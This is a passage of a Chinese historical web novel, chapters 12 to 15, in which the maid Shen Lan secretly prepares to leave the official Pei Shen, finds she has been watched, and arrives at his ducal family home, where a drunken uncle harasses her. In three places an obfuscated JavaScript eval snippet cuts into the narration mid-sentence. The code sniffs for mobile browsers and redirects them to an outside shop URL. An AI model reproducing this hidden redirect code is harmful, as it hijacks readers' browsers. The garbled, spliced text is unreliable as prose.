裴慎见她脸色微微发白，不由得心生怜惜：“安心，我不过随口一说罢了。” 分明是搪塞，沈澜有心再问，却也知道裴慎既然敷衍她，那便是不愿说，再问也没用。 语毕，裴慎道：“我近期需外出一段时间。” 沈澜心喜，面不改色应了一声，恭敬道：“不知要多久？” 裴慎瞥她一眼，见她如往常一般，垂首肃立，绝不多说一个字，半句话，恨不得自己是个不引人注目的摆件。 “暂时还未定下。”裴慎思忖，他要巡查都转运盐使司三个分司、两座批验所，还有六十二个盐场、盐课司。盐政改革已开始，这些巡查决不能走马观花，至少要在一地待上三五天。 “少说也要五六个月。”裴慎答道。 五六个月？沈澜强压着笑意，把头深深地低下去，唯恐自己笑出声。半年都不需伺候领导，有的是时间出府了解情况，做些准备。唯一可惜的是她的学习要停滞了。 “爷，可要我做些什么？”沈澜摆出一副甚是关心的样子。 见她这般懂事，裴慎微微叹息，“沁芳，你说我可要将你带去？” 沈澜心里一紧，拒绝的话恰要脱口而出，只是转念一想，裴慎此人权欲极重。若带她去办公，别人必定以为她是裴慎新纳的妾室而不是丫鬟。届时裴慎难免要被言官参一本性好渔色，甚至不孝不悌。他决不会贪图一时享乐，导致自己仕途有损。 果然，还未等沈澜开口，裴慎便笑了笑，拂袖起身，兀自看书去了。 待到第二日，晨雾侵晓，天色将白，裴慎只带上侍卫队，出了盐漕察院后快马加鞭，离开了扬州城。 沈澜一个人在房中坐了一会儿，见轩窗外晨间薄雾缓缓散去，日光渐明渐亮，她心里也仿佛亮堂起来。 四下无人，沈澜轻笑出声，毫不犹豫倒头睡了个回笼觉。 裴慎一走，院子里的丫鬟各司其职，无事不会来寻她，侍卫们更是跟着裴慎一块儿走光了。沈澜舒舒坦坦睡到日上三竿，醒来后又在床榻上赖了一会儿，才径自去寻赵娘子，问问她何时出府。 自在惬意地过了半个月，沈澜终于等到了机会。 沈澜带上帷幕出了府。边走边听赵娘子说：“姑娘，这扬州城里最好的胭脂铺子叫戴春林，那香粉香件皇帝都要买呢！前些日子我听院里的婆子说，他们家新出了什么紫茉莉、鹅蛋香……”赵娘子是地道的扬州人，提起扬州风物自是如数家珍。 沈澜极目望去，只觉这扬州城果真是江淮要冲，南北襟喉之地，人口近百万。光是这条街上，便人稠物穰，摩肩接踵，民居挤挤挨挨，精巧繁密。 有小子四处穿行，叫卖着“芍药花、芍药花，簪一朵在头上，俏生生小娘子！” 沈澜见了，好奇道：“如今已是七月，竟还有芍药？” 赵娘子笑道：“姑娘不晓得，这花或是从山上摘的，或是家里搭了暖棚，延上一个月的花期，够这小子赚了。” 果然，沈澜只驻足看了一会儿，那人手里的花便一卖而空。 “油糕，又香又甜的油糕！！” “补锅碗，补锅碗！”补碗匠挑担子穿行而过。 “吹——糖人嘞！吹——糖人嘞！” 沈澜看的目不暇接，可她身无分文，全部钱财都给了陈松墨。况且难得出来一趟，买东西自然不是最重要的。 “赵娘子，我不仅想去买些香粉，还想去看一位故人。只是地方离的有些远，这里可有什么牛车马车租用？” 赵娘子抿嘴轻笑道：“姑娘说笑了，大户人家出门，谁肯坐旁人的马车。小门小户的，假赁马驴约需百文头口钱，谁舍得出这个钱？” 沈澜便眨眨眼，状似疑惑道：“可若有人外出行商，难不成到了一地便去买几匹马，买几条船？那岂不是还没赚着钱便赔了本？” 赵娘子吃吃笑起来，嗔道：“姑娘又顽笑。若要出门贩货，自然要去寻当地牙人，既能在牙人家里住宿，还能放货，又能叫他们去租赁信得过的车马船只。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375395|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈澜知道牙人是中间商，她只是有些不解：“为何要寻牙人？自己去租个车船便是，还能省钱呢！”她就不信精明的商人愿意多一个中间商赚差价，必有什么说道在里头。 赵娘子便笑道：“姑娘年轻，又没有离开过扬州，哪里晓得这些说头。我也是听我男人说的。单说船，若自己去码头随意寻一艘野船载客运货，待到江心，船家若起了贼心，只将人往河里一扔，昧下货物，神不知鬼不觉。” “若有了牙人便不一样了，登船前牙人要在文簿上录下客商、船户姓名，一来震吓船夫一二，叫他不敢起贼心，二来也好方便将来官府查案。” 沈澜恍然大悟。眨眼间便想到恐怕不止姓名，牙人还要查看路引，防止逃犯逃奴，甚至还要登记货物数量，好方便官府税收。 她思及此处，只觉大涨见识，正要再套些话，赵娘子大约是想起了自己的亡夫，神色间便有些郁郁。 沈澜不好再问，只见赵娘子引着沈澜穿过数条小巷，边走边说：“姑娘若不想买戴春林家的胭脂，去馥香堂胭脂铺也好，那都是苏意样子，保管姑娘满意。” “若再往前走两条街，有个海贸铺子，有番货卖，不仅有什么玫瑰花露，还有什么稀罕香料，只是价格太贵，我也不好进去。” 两人一路闲聊，极快便到了馥香堂，沈澜便笑道：“赵娘子，我且在这馥香堂里四处看看，赵娘子尽管去忙。” 赵娘子迟疑片刻：“姑娘，还是快快买了去，女眷孤身在外，到底不好。”不仅是有碍声名，还不安全。 况且这位沁芳姑娘，是爷身边大丫鬟，哪里敢放她一个人在外头闲逛。若出了事可如何是好？ “姑娘，挑了香粉便走吧。”赵娘子正要劝，铺子里的伙计见有两个女子站在门前，带着帷幕的少女和中年妇人，想来是母女，便即刻扬起笑招呼：“二位且进来看看，近来新来了些苏州货。俱是拿筛子细细筛了十几遍的，和着脂膏，保管摸上去细腻光滑！” 沈澜无奈，她本想甩脱了赵娘子，去书铺看看，可有游记，记录风土人情的书卖。谁知赵娘子跟的如此之紧，她只能进铺子里转了转，复又跟着赵娘子走了。 她二人去了码头，上回船家送来的鱼虾不新鲜，赵娘子要换一家。再看看市面上可有新的香料，蔬果。 待到两人回到盐漕察院之际，已是半下午。沈澜被赵娘子跟得极紧，除了套话外，竟没能单独行动过。 可这好歹是个好开始。 沈澜深呼吸一口气，裴慎还要半年才回来呢，够她一点一点，蚕食般的了解情况，制定计划。 如同当年在刘妈妈院中那样。 13. 第13章 第二日一大早，沈澜没去寻赵娘子。她心知赵娘子出府频率极低，下一次出府是为了更换时令蔬果，恐怕要一两个月后了，届时已经入秋了。 沈澜不急，只日日与院子里的各个丫鬟婆子闲聊套话，等着赵娘子第二次出府。谁知左等不来，右等不来，沈澜到底坐不住去问了赵娘子。 “何时出府？”赵娘子道，“我上一回出府便与菜贩子说好了，有什么菜蔬果子尽管送来便是，只要是新鲜的，我这边都收。” 沈澜略略思忖便想明白了。这是因为裴慎不在，赵娘子自然懒得精心，菜农上门送什么她就做什么，再也不必出府采买了。 沈澜着实无奈，她又不能说赵娘子不对。领导走了，员工想摸个鱼，有什么问题吗？ “我不过是觉得白日漫长，无事可做，便想着出府去看看罢了。还望赵娘子若出去了，带我一个。”沈澜怀揣着最后一丝希望道。 赵娘子就笑笑，不说话了。 沈澜无奈转身，又被赵娘子塞了片桂花糯米藕片，只说叫她甜甜嘴。 接过糯米藕片，沈澜不肯放弃。既然不能与赵娘子一同出府，那便干脆自己去。 这样虽出挑显眼了些，尤其是她有个从刘宅逃跑的前科在，可裴慎难得离开，此时若不多做绸缪，将来机会恐怕更少。 如今已是三秋桂子飘香时，再过上一两个月便要入冬了。沈澜打定主意，只说要去上一次来过盐漕察院的陈氏绣庄，给自己买件入冬的棉衣。 无需与赵娘子同行，赵娘子也不好说什么，只叫她小心些。 沈澜给了膀大腰圆的粗使婆子孙嬷嬷几文钱，对方便高高兴兴地领着她去了陈氏绣庄。 上回给沈澜量尺寸的陈绣娘是这家绣庄的掌事娘子，见了沈澜，自然认得这是盐漕察院的丫鬟，便笑盈盈迎上来：“姑娘，快坐。”又吩咐人看茶。 沈澜抿了口茶水，温热的茶汤带起热气，让沈澜微微舒缓，她轻声道：“我想做件棉衣，可有棉衣卖？” 陈绣娘笑得眉眼盈盈，即刻吩咐人取出了一叠叠棉布：“姑娘且看，这些棉布俱出自于松江，都是时新货。” 沈澜搭话道：“松江棉布，你店里也卖吗？” 陈绣娘哪里知道她在套话，只笑脸迎人，亲亲热热道：“姑娘说笑了，陈氏绣庄在扬州城内也是排的上号的，潞绸、杭缎、蜀锦、松江棉布，南京雕花天鹅绒，样样都有。” 样样都有？那再好不过了。沈澜很满意，便微微侧身望她，轻轻笑了笑。她像是走在沙漠里遇到了水源，笑得真心实意，那是很纯粹的喜悦，清透地如素月清辉，似雨后初霁，表里俱澄澈。 陈绣娘痴痴梦梦愣了会儿，回过神来，咋舌不已。心道若不是跟了个膀大腰圆的婆子，这样的姑娘家里人哪敢叫她出来走动。 “陈娘子，先看看这松江棉布吧。”沈澜道，“这些都是什么花色？” 陈绣娘本就是个生意人，兼之知道她是盐漕察院的人，虽是个丫鬟，可这般美貌，焉知没有飞黄腾达的一天呢？ 存了点烧冷灶，将来好搭上贵人的投机心理，陈绣娘便一一介绍起来：“姑娘且看，这是松江的三梭布、织花绒布、官布、棋花布、尤墩布。” “尤其是这两匹斜纹布，最时新的水浪胜子样式，姑娘摸一摸，似绒非绒的，手感也好，一匹只要一两银就好。” 沈澜心知对方主动推销昂贵布匹是想卖货，可她今日之所以来绣庄，也不单纯是为了买棉衣的。 “说来也怪，这松江棉布为何如此有名？”沈澜佯装蹙眉道：“陈娘子可去过松江？” 陈绣娘便不好意思的笑笑：“姑娘，这外地跑商的事俱是我家那口子在折腾。我等闲不出扬州的。” 沈澜便笑笑：“那陈娘子说的什么杭缎潞绸，可曾去过这些地方？” 陈娘子越发歉然：“不曾去过。” 沈澜微微失望，古代原本就交通闭塞，许多人一辈子都出不了十里地。以至于沈澜获得的几乎都是各式各样毫无用处的琐碎讯息。 “陈娘子，你们店里一间普通棉衣要多少银钱？” 最后，沈澜买了两件棉袄，花了一两银子，足足一个月的月钱。 出了绣庄，沈澜原想照着陈松墨临行前给的地址去寻琼华，可偏偏问遍了府中丫鬟婆子，没一个知道这盒子巷在哪儿的。 既然众人都不知道，这地方恐怕颇为偏远，沈澜没有代步工具，靠走是决计走不到的。加之扬州城内因为人口繁多导致到处都是羊肠小巷，精房密舍遍布，沈澜不认识路，根本找不到盒子巷，只能暂时歇了心思。 一连两次出府，都没有收获太多东西。沈澜只能平心静气，等待下一个机会。出府不宜太过频繁，她本打算等一个月后就去书铺，问问可有游记等书籍。 春去秋来，又过了一个月。这一日，沈澜正借着给裴慎打扫书房的机会，翻阅书架上的《经行记》。 此时已是十一月份，隆冬腊月，虽是天高云淡，难免寒气森森。冬日里难得出太阳，沈澜只是站着，背靠楠木架，借着堂前满室日光，全神贯注读书。 她还没读两页，远远传来坠儿啪嗒啪嗒的脚步声。 “沁芳姐姐，大人回来了！大人回来了！” 这才过去四个月便回来了？不是说要半年吗？ 沈澜一时心惊，二话不说先将书复位，打量了一番室内，与裴慎走之前并无变动。又细细复盘了这些日子自己的行为可有疏漏之处。 四个月来，沈澜总共只出去过两次。次数少，也从未有过单独行动，甚至都没来及见过琼华，平日里便是闲话也只提及些扬州风物。 沈澜反复思索，只觉自己并未流露出什么破绽，裴慎应当不会起疑，可心里到底凛然起来。 她不复闲散，绷起身体，打开门，安抚了报信的坠儿两句，便急急向外走去。 裴慎归来，她做丫鬟的，必定要去大门迎接。谁知沈澜刚走到月洞门前，便听闻有人斥道：“跑什么！当心摔了。” 沈澜抬头一看，正是裴慎。 四个月不见，裴慎依旧未变。着杂花青袍，鹤氅，素银带，乌皂靴。大步行来之际，可见其英武，只是一双眼睛，如山巅霜雪，夜间寒雾，越发冷冽了。 她在打量裴慎，裴慎也在看她。见她穿着照旧素净，柳青棉袄，葱白素裙，别的就没有了。只是荆钗布裙也衬得她云鬓鸦鸦，唇色朱红，香腮如细雪，看着越发美了。 朔朔寒风里，沈澜上前两步，行礼：“爷回来了。” 扬州瘦马之所以名唤瘦马，就是因为身姿纤细可怜，这样的美是要靠节食换来的。在刘宅，沈澜一旦吃多些即刻就要挨打，以至于在盐漕察院养了五个月，到了秋冬季依然手脚冰凉。 裴慎只觉她这脸似有些虚白，便蹙眉道：“穿成这样立在寒风里做甚！还不快回去。” 沈澜头一回觉得裴慎说话如此动听，即刻点头称是，待她进了正房，温暖的热气扑面而来，眉眼都舒缓下来。 “爷可要沐浴？”沈澜自觉道。一路风尘仆仆，裴慎喜洁，必定是要沐浴的。 裴慎点头，只舒展肢体，任由沈澜为他更衣。 沈澜正专心解他鹤氅，裴慎忽然道：“你这身衣裳不错，陈氏绣庄的绣娘用心了。” 沈澜脸色煞白，指尖一顿，心脏如同擂鼓般狂跳起来。这衣服很素净，也没个标记，他怎么刚回来就知道她去了陈氏绣庄？是院子里的丫鬟婆子告诉他的，还是…… “爷怎么知道这是我前些日子去陈氏绣庄买的？可是孙嬷嬷说的？”沈澜低着头，强作镇定。 裴慎只懒散笑问：“孙嬷嬷是谁？” 果然，裴慎连院子里丫鬟婆子叫什么都懒得记，这些人也不会无聊的去告诉裴慎，沈澜出了两次府。可裴慎偏偏刚回来就知道她去了陈氏绣庄，那就只有一个可能。 裴慎派人监视她。 沈澜浑身紧绷，只兀自低头去解裴慎腰上竹叶青潞绸荷包。一面解，一面绞尽脑汁想着裴慎监视她做什么？她一个做丫鬟的，有什么值得裴慎监视的？ 沈澜秀眉微蹙，脑中百转千回。倏忽之间便已想到了答案。 裴慎年纪轻轻便能登临高位，必定心思缜密，凭什么相信她一个深陷贼窝七年，出身不清白，第一次见面就试图蒙骗他的瘦马呢？ 监视她才是题中应有之义。 更别提他们的相遇如此巧合，刚查到账本在刘宅，便遇到貌美瘦马出逃，被林秉忠掳来自己面前，还恰恰是第二天便要送给他的瘦马。 裴慎必是起了疑心，怀疑她是别人故意送来的。于是顺水推舟，将她留在身边。 只怕裴慎这四个月的外出公干不仅仅是为了公事，也是为了试探她。 若她背后有人指使，异动频频，足够裴慎顺藤摸瓜，一网打尽。若她虽无人指使，却再度出逃，那便是不忠，抓回来照着逃奴处置便是。 沈澜思及至此，一时间额间隐有细汗，竟略有几分惊惧。一个月来朝夕相处，此人甚至手把手教她读书习字，原来撕开温情脉脉的面纱，底下竟是冷血无情的算计。 只是惊惧之外，又油然而生几分庆幸。万幸，她没有莽撞逃亡，行事谨慎未曾留下破绽。 更幸运的是，她终于找到了裴慎将她留在身边的理由。 监视、试探……只要不是见色起意就好。 沈澜心中大定，一时间鼻子竟有些酸涩。趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375396|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过千难万险，好歹不用给人做妾了。 她思绪百转千回，只垂下头去，修长的五指绕在他腰间攒心梅花络子上，仿佛随口道：“爷，说来已快半年了，不知刘妈妈如何了？” 闻言，裴慎只淡淡道：“绞刑。” 沈澜微怔。只觉胸中一口郁气吐出。害死了那么多姑娘，以命抵命，属实应当。 “那刘葛也判了吗？” “亦是死刑。”语毕，裴慎补充道：“沁芳，盐所贪污受贿案案犯该死的死，该流的流，秋后判刑俱已结束。” 沈澜指尖一顿，将素银腰带取下，放置在楠木清漆小几上。她心中已是隐隐有数。果然，裴慎对她的监视停止了。因为受贿案已彻底了结。沈澜不涉其中，的确清白，自然不必再被监视。 无论如何，她通过了裴慎的试探。想来自此以后，裴慎便能安心了。 沈澜也很安心。既然裴慎对她无意，照着林秉忠的说法，只要熬到十八，国公府就会将丫鬟脱籍。届时靠攒下的银钱做些小生意，日子就能过起来了。 沈澜心情大好。 沐过浴，裴慎正慢条斯理吃一碗鸡丝汤面。清淡的香气扑面而来，在寒冷的冬日，吃一碗热腾腾的汤面，令他眉眼都舒缓下来。 待他吃完，沈澜奉上温热的棉帕。裴慎净手后又接过她奉来的小四岘春，呷了一口道：“沁芳，近来不必添置东西，陆陆续续将行李收拾起来，再过几个月便有新任巡盐御史前来与我交接，届时便要回京述职，再行外放。” 沈澜心中霎时明透了然，恐怕这便是裴慎暗示监视一事的目的了，提点她通过了试探，暗示扬州事务全部了结，自此以后，北上南下，俱要跟着他走，安心伺候，莫起些歪心思。 至于沈澜是否听懂，听懂了更好，听不懂也无妨，左右裴慎只夸了她一句衣衫好看罢了。 “是。”沈澜垂首，停顿片刻又道：“爷，离了扬州故土，也不知何时才能回来。我可否去见一见故人？”虽说如今沈澜只需静待脱籍，可脱籍后的生计还没着落呢。若琼华能把绣庄经营起来，沈澜将来投奔她，也算条出路。 谁知裴慎蹙眉道：“可是那个叫琼华的？” 见沈澜点头，他剑眉拧起来，目光锋锐，直直看向沈澜：“照着刘妈妈的口供，你与她素来不睦，赠她百两也就罢了，全当你做善事了。可你非见她做甚？莫不是要与她叙一叙离别之情？” 沈澜咋舌，心道此人果真看过刘妈妈口供。恐怕对她与琼华等人的关系心知肚明。 “爷，我与琼华虽不睦，却也无深仇大恨，不过是刘妈妈居中挑拨，不肯叫姑娘们报团罢了。如今我要离开扬州，临行前若不去见一面，心里总也难受。” 闻她言，裴慎已略有不耐烦：“你是我丫鬟，瘦马不过是个玩意儿，你总与她们纠缠做什么？” 沈澜微怔，一时齿冷。瘦马是个玩意儿，丫鬟难道就不是吗？生死俱操于他人之手，同病相怜罢了。 见她脸色微微发白，裴慎轻叹息道：“你既当了我丫鬟，日后天南海北的与我去，必有一份好前程与你。往事故人的，又不甚光彩，俱断了去罢。” 沈澜心中发寒，奴籍加瘦马加涉案，听起来的确不光彩。可她与琼华俱是受害者，有什么好丢人的？ 沈澜本想反驳，只是人在屋檐下，不得不低头，忍过三年便好了。她兀自安慰自己，便垂首道：“爷教训的是。” 这一应承，她竟再也没能寻机见一面琼华。 日子倏忽而过，盐政改革虽开了个好头，只是裴慎照旧不得闲。临卸任前，他风餐露宿，快马疾行，再次花费了大半个月的功夫巡视都转运盐使司三个分司，两座批验所，六十二个盐场，盐课司，以查验盐政改革起效如何。 沈澜不由得咋舌，勤政至此，怪不得年纪轻轻就能大权在握。然而或许是时势造英雄，裴慎官途比沈澜想象的还要顺遂。 裴慎十七岁中进士，在翰林院当侍读三年，调任两淮巡盐御史。因盐政有功，一年后被调任至京都担任户部清吏司郎中。 己巳年四月，裴慎刚至京都，蒙古孛儿只斤氏俺答义子脱脱率领三千余兵马入侵京都，裴慎开强弓射杀一名千户，脱脱为其所摄，故退去，裴慎转为兵部职方清吏司郎中。 同月，草原白灾，牲畜、人员尽数冻亡。俺答亲率军一万，劫掠京都周围十四所州县、焚毁房屋数万、蹂踏良田万顷，数万百姓流离失所，涌入京都。 裴慎募流民中敢死之士，夜入敌营，营啸后俺答被迫退走。裴慎因此被擢升为右佥都御史，并任山西参政。 庚午年，裴慎因镇压山西白莲教叛乱有功，擢山西巡抚。 同年，裴慎出孝，归家成婚。 14. 第14章 魏国公府，门前三道门楼，门楼之上龙额金书。穿过门楼，方到了国公府正大门，三间五架门屋，金漆兽面锡环，太.祖亲提的紫檀木匾额高悬，泥金署书体态方圆，端楷典重。 入得门内，绕过影壁，前厅、中堂、后堂俱是七间九架，处处碧瓦朱甍，黑金窗枋，重檐重栱，层台累榭。 南山堂，五间七架正房，庭中有嶙峋山石缀着数杆修竹，几株芭蕉，时有报信的丫鬟小厮进进出出。 “快！快去探探，慎哥儿到哪儿了？” 国公府的老祖宗年过花甲，穿着金绣云霞翟纹的真红袖衫，银发拿桂花头油抹得整齐，拄着八仙过海楠木杖，坐在榉木螭龙纹倚板圈椅上，心心念念，非要打发家里的小厮再去码头探探。 素来妙语连珠的二太太一样满头珠翠，绮罗遍身，这会儿站起来凑趣道：“不得了，老太太打发了十七八个小厮去还不够，这是要再打发十七八个啊！” 一时间，满堂众人欢声笑语，老祖宗笑骂道：“好你个泼猴，待慎哥儿娶了媳妇，非叫她撕了你的嘴不可！” 二太太喊冤道：“老太太，您一心只想着慎哥儿未过门的媳妇，有了新人便不要我这个老丝瓜瓤子了！” 满堂霎时又欢笑起来。 就连裴慎的母亲大太太也笑道：“你四十好几的人了，怎得还这般顽皮！” 二太太更冤枉了：“嫂嫂，你莫冤枉我，论顽皮，我哪里比得过四太太。”话一出口，二太太暗道不好。 果然，满堂欢笑忽然都寂静了下来。如同一盆凉水泼下来，气氛急转直下。 直到一旁坐着的四老爷捋了捋一把美髯道：“二嫂，好端端的，提这丧门星做甚！” 将自己的妻子称呼为丧门星，一时间，女眷都心有戚戚。 三太太是个安静娴雅性子，素日里鲜少说话，此刻竟忍不住讽刺道：“四弟，你那是拿着丝瓜筋打老婆——装腔作势演给我们看呢！谁不知道你们夫妻恩爱有加啊！” 四老爷差点被气得揪断胡须。谁跟那疯婆子恩爱有加！不过是寻摸了个粉头养在外面，这疯婆子竟喊了人将他和粉头捉奸在床！闹腾得整个京城都知道了。成何体统！成何体统！ 四老爷正气着呢，门口忽有小厮来报，“世子回来了！世子回来了！” 堂中气氛一下子和乐起来，四房其乐融融，仿佛刚才的事情都没发生过。 裴慎一进门，他母亲便急急迎了上来，一叠声喊着“慎哥儿”、“慎哥儿”。 母子相见，原该热泪盈眶。只是裴慎三岁移进外书房开蒙读书，六岁去往书院刻苦求学，十七岁考中进士方才归家。此后又连连外放，论起来，他与母亲感情实在淡薄。 母亲不知道该怎么面对这个六岁就离家求学的孩子，裴慎也不知道该怎么面对陌生的母亲。 跟在身后的沈澜原本不想掺和，她已经十八岁了，再过几个月待裴慎成婚后她便能出府，只想安静熬完最后几个月。 可俩人就这么站着，回头裴慎想起来了，多半要觉得她没眼色，届时还得给她甩脸子看。 沈澜安慰自己，辞职也要站好最后一班岗，便上前半步，垂首低声道：“爷，礼物。” 裴慎便一下坦然起来，“劳母亲挂念，儿离家多年，如今带了些东西回来，也好给大家分一分。”说着，便喊了声沁芳。 沈澜从身后小丫鬟手中接过礼品，一个个递给裴慎。 男性是雕刻着不同铭文的青绿端砚，年长的刻着“天保九如”、“兰薰桂馥”等，年轻还要考功名的刻着“蟾宫折桂”、“独占鳌头”，小孩子则是“桑弧蓬矢”、“虎豹之驹”等等。 女性统一是金银锞子，照着个人的生肖打造一整套不同动作的，看起来煞是可爱。 “慎哥用心了。”老祖宗感叹道。其余收到礼物的人也颇为满意。 裴慎也很满意。当年他离任扬州，原本是坐官船回返京都，忽闻俺答大军压境，京都被脱脱所围，只将沈澜留在官船上，自己下船快马疾驰回援京都，靠着战功一跃而起，升任山西参政。又速速带着沈澜转道赴任山西，以至于沈澜从未登过国公府的大门。 即使如此，她依然将礼物打理的妥妥当当，可见其办事谨慎，从无疏漏。 一行人都是家里人，也不必避讳什么，只在水榭上设宴。这水榭建在湖边，湖面清渺，芙蕖生香，旁有怪石嶙峋，正是负山背水的好地方。 男人一桌，女眷一桌，齐聚在一起吃吃酒，说说话，再叫伶人戏子们唱两出渔阳弄、翠乡梦。 这宴席甚丰，杯盘错落，水陆尽有，簇盘、糖缠、兰溪猪，太仓笋，松江米，火炙鹿肉，冰鸭鲥鱼，当真是穷山之珍，竭水之错。 沈澜看得咋舌不已，杵在裴慎身后听他们说着诗词歌赋，时不时考校些四书五经的功课，再替裴慎斟酒。 只她垂首不语，姿态恭谨，离裴慎不远处的四老爷余光来来回回打量她。 虽低着头看不见整张脸，只看那雪肌玉肤、修长白皙的脖颈、玲珑有致的身段，一看就是个美人。 四老爷饮尽杯中石练春，清清嗓子道：“守恂啊，我记得你离府去扬州上任时只带了几个侍卫小厮，怎么如今从山西回来竟带了个丫鬟？” 沈澜心里一突，好端端的，提她做甚。 裴慎原本正考校几个堂弟功课，闻言望了眼四老爷，只淡淡道：“四叔，沁芳是我丫鬟。” 四老爷裴延正色心上头，哪里听得出裴慎的警告之意，又是时隔多年未见这侄子，只觉自己是长辈也不怕他，便一把打开手中金铰藤骨蜀扇，故作洒脱道：“公府里的丫鬟走到外头去，便是被人称一声小姐也行，何故低着头畏畏缩缩不说话？你且抬起头来看看。” 沈澜暗道倒霉，也不知道这位四老爷是真好奇还是假好奇。可她知道自己是绝不能抬头的。 年近十八的沈澜长开了，身量也纤秾有度，一旦被公府里的爷们看上，她可不敢保证裴慎会不会把她送出去。 正当沈澜思索如何逃过这一场的时候，裴慎看向四老爷，目露警告：“四叔，她胆小，不敢看人。” 四老爷一时间便有些不愉，不过是个丫鬟罢了，何至于这般娇惯。 见气氛有些僵着，一旁的二叔三叔连忙打起圆场来，底下几个小的也跟着笑。 恰在这时，女眷那里又送了碟子荷花酥来，只拿斗彩灵云碟盛着，摆成了品字形。二太太高声凑趣道：“慎哥，这可是你母亲赏你的，还不好生谢过你母亲？” 裴慎便道：“多谢母亲关怀。” 大太太不知为何，竟有些讪讪的摆摆手：“空腹吃酒不好，吃些糕点垫垫。” 裴慎的亲弟弟，一母同胞的裴珲年纪不过才十七，此刻叫嚷起来：“这荷花酥是我最喜欢吃的，哥哥你饶我一块罢。” 裴慎是何等敏锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为首的叫念春，一行四个大丫鬟，念春、槐夏、素秋、清冬，并其余的丫鬟婆子尽数站在院门前迎裴慎。 裴慎这些年常居上位，威仪日重，丫头婆子们见了都不敢说话。可他今日头戴玉冠，腰佩白玉，穿着宝石蓝的直缀，神峻骨秀，身姿挺拔。尤其是那张脸，端的是面比何晏，羞煞潘安。 一时间，几个年轻貌美的丫鬟便有些想头。 裴慎却目不斜视的走过，随意摆摆手叫她们起来。 回来之后直接去了南山堂见老祖宗，根本没回过存厚堂，以至于沈澜和这里的丫鬟婆子互不认识。 “快！快扶着爷进去。”念春匆匆指挥几个小丫鬟过来簇拥着裴慎。只是槐夏与清冬一下子便将那几个小丫头挤开，一左一右扶着裴慎进去。 念春见状，顿时气结，转过身来，见沈澜低着头，穿的素净，浑身不带首饰，只头戴一根银簪，还以为她是哪个院里的小丫鬟，劈头盖脸骂道：“杵在这里做甚！没点眼色的东西！你哪个院里的？我与你们管事嬷嬷分说去！” 沈澜蹙眉，她只需再熬几个月，待裴慎成婚便好，何苦与旁人争吵，平添是非呢，便想忍耐一二。 恰在此时，有个小丫鬟兰香匆匆道：“诸位姐姐，爷嫌弃腰上香囊味道太浓，扯了叫我收着，我方才走的急，如今找不到了。” 念春火气还未发完，正张口欲骂，沈澜连忙道：“可是天水碧绣着几支竹叶的潞绸香囊？” 兰香已是语带哭腔，连忙点头道：“好姐姐，我这便回去找。” 沈澜道：“不要急，许是忘在水榭了。我与你同去便是。” 她可不想在这里跟人吵架，更不想进去伺候裴慎脱衣去靴、铺床叠被、端茶倒水，便跟着兰香去寻那香囊。 见她二人走了，念春也顾不得责骂，急急去伺候裴慎更衣。 15. 第15章 出了存厚堂，涉阶而下，正值春夏之交，草木勃发，一路行来，漏窗外忽有迎春吐蕊，牡丹生香，迎面又遇芭蕉新绿，修竹正茂。移一步，换一景，只觉庭前廊下天光朗朗，万绿齐晓，一派的好山好水好景致。 沈澜悠闲其中，不带半分烟火气，只缓步慢行，沿着曲折蜿蜒的回廊到了“澄波拥翠”水榭。 “这么找不行。”沈澜沉吟道：“你找左侧，我找右侧，若抄手游廊没有，爷回来的时候在水榭前停驻了一会儿，恐怕要去那里找找。” 她与兰香一齐找了抄手游廊和水榭，都没有，便只能出了水榭再往前走。前面是一片小花园，这小花园位于国公府西侧，实则一点也不小。 沈澜极目远眺，以黄石叠成的秋山古拙苍劲，上有松木枝桠横生，掩映着一个四角小亭，名唤拥翠亭。只这一座假山就够大了，前面还连着一片澄湖，栽种着满塘荷花。 沈澜叹息：“此地太大，我们分从两头找起，届时便在这假山处汇合，如何？” 兰香憋着泪，只点头称是。 两人分开后沈澜边走边低头找，谁知正沿着乱石小径走了没多久，忽有人斜斜踉跄几步，冲了出来。她原本低着头找东西，一时没注意竟撞了上去。 “哎呦。”那人惊呼一声。 沈澜下意识抬头去望。 霎时间，沈澜脸色一变，虽已低下头去，只是已然来不及了。 四老爷裴延骤然见此等好颜色，一时间色授魂与，竟痴痴地望着她，连话都说不出来了。 当真是霞姿月韵、绮年玉貌，荆钗布裙难掩清丽脱俗，青裙缟袂可见瑰逸绝伦，此人姿容之盛，浑然不似凡俗之流。 怪不得他侄子既不许她抬头，也不许她穿锦衣华服，想来是想独占此等佳人。 沈澜见是四老爷，暗道不好，转身欲走。见她要走，裴延急急拦住道：“沁芳姐姐这般着急做甚？” 被一个四十几的老男人油腔滑调喊姐姐，沈澜几欲作呕，她狠掐手心低头道：“四老爷，奴婢要回存厚堂去了。”说着，竟不顾裴延的阻拦，急急要走。 谁知裴延喝了酒，色欲熏心，原本不过是好奇，借着三分醉意撒撒酒疯，想瞧瞧她长什么样子，如今见了，哪里肯放她走？ 他一把扯住沈澜的袖子，另一手便想去搂她的腰，沈澜心知今日是走不了了，便镇定下来。若拉拉扯扯被人发现，闹大了，裴慎未必肯保她，或许为了叔侄和睦，还要把她送给裴延。 沈澜抬起头来，娇嗔道：“你这般急色作甚！” 